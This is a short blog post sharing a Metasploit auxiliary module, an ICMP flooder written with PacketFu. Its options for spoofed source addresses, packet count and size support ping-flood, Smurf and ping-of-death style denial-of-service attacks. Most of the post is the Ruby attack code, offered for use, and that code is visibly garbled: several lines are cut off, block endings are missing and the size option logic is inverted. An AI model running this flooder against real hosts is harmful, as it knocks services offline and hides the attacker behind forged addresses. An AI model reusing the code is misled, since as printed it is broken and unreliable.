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Another simple Metasploit module: ICMP Flooder

Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading PacketFu documentation and I found that wrinting an ICMP flooder couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as Ping flood, Smurf or Ping of death. Next pictures show the module in  the same way of last post.


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos
include Msf::Exploit::Capture

def initialize
'Name' => 'ICMP Flooder',
'Description' => 'A simple ICMP flooder',
'Author' => 'Jesus Perez',
'License'     => MSF_LICENSE,
'Version' => '$Revision: 0 $'

['SHOST', [false, 'The spoofable source address (else randomizes)']),'NUM', [false, 'Number of ping packets to send (else unlimited)']),'SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])
], self.class)

def srchost
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')

def size
datastore['SIZE'] ? 256 : datastore['SIZE'].to_i

def run

sent = 0
num = datastore['NUM']

print_status("ICMP flooding #{rhost}...")

p =
p.icmp_type = 8
p.icmp_code = 0
p.ip_daddr = rhost

while (num <= 0) or (sent < num)
p.ip_saddr = srchost
p.payload = rand(36**size).to_s(36)
sent += 1



Figure: Usage information

Figure: Sniffed packets

Jesús Pérez

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